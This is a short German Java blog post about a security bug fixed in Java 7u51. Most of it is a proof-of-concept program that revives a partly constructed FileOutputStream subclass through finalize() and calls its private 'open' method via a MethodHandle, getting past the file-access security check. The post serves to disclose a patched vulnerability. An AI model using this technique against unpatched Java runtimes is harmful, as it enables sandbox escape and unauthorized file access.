---
title: 'Interessanter Sicherheits-Bug in 7u51 gefixed'
url: 'https://www.tutego.de/blog/javainsel/2014/12/interessanter-sicherheits-bug-in-7u51-gefixed'
markdown: 'https://www.tutego.de/blog/javainsel/2014/12/interessanter-sicherheits-bug-in-7u51-gefixed.md'
date: '2014-12-13'
description: 'Details unter http://weblog.ikvm.net/2014/01/16/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx: import java.lang.invoke.*; class test extends java.io.FileOutputStream { static test t; test() throws Exception { super(""); } protected void finalize() { t = this; } public static void mai…'
taxonomy:
  category:
    - 'Java 7'
---

# Interessanter Sicherheits-Bug in 7u51 gefixed

![Illustration einer tropischen Insel mit Palmen und einem hohen Berg](https://www.tutego.de/blog/javainsel/user/themes/tutego/images/insel-cover.jpg)# Java Blog für Programmierer

[Java Blog für Programmierer](https://www.tutego.de/blog/javainsel/)

## Interessanter Sicherheits-Bug in 7u51 gefixed

13.12.2014 · [Christian Ullenboom](https://www.tutego.de/blog/javainsel/author/admin/)

Details unter [http://weblog.ikvm.net/2014/01/16/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx](http://weblog.ikvm.net/2014/01/16/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx "http://weblog.ikvm.net/2014/01/16/PubliclyReportedOpenJDKVulnerabilityFixedIn7u51.aspx"):

```java
import java.lang.invoke.*;
class test extends java.io.FileOutputStream {
 static test t;
 test() throws Exception {
 super("");
 }
 protected void finalize() {
 t = this;
 }
 public static void main(String[] args) throws Throwable {
```

MethodHandle mh = `MethodHandles.lookup()`.`findVirtual`(test.class, „open“,

```java
 MethodType.methodType(void.class, String.class, boolean.class));
 System.out.println(mh);
 try { new test(); } catch (Exception _) { }
 System.gc();
 System.runFinalization();
 mh.invokeExact(t, "oops.txt", false);
 }
}
```

Kategorien: [Java 7](https://www.tutego.de/blog/javainsel/category/java-7/)

[← Alle Beiträge](https://www.tutego.de/blog/javainsel/)

---

## Navigation

- Previous: [Joda-Time auf Java 8 java.time konvertieren](https://www.tutego.de/blog/javainsel/2014/12/joda-time-auf-java-8-java-time-konvertieren.md)
- Next: [Eclipse Project 4.5 (Mars) M4](https://www.tutego.de/blog/javainsel/2014/12/eclipse-project-4-5-mars-m4.md)
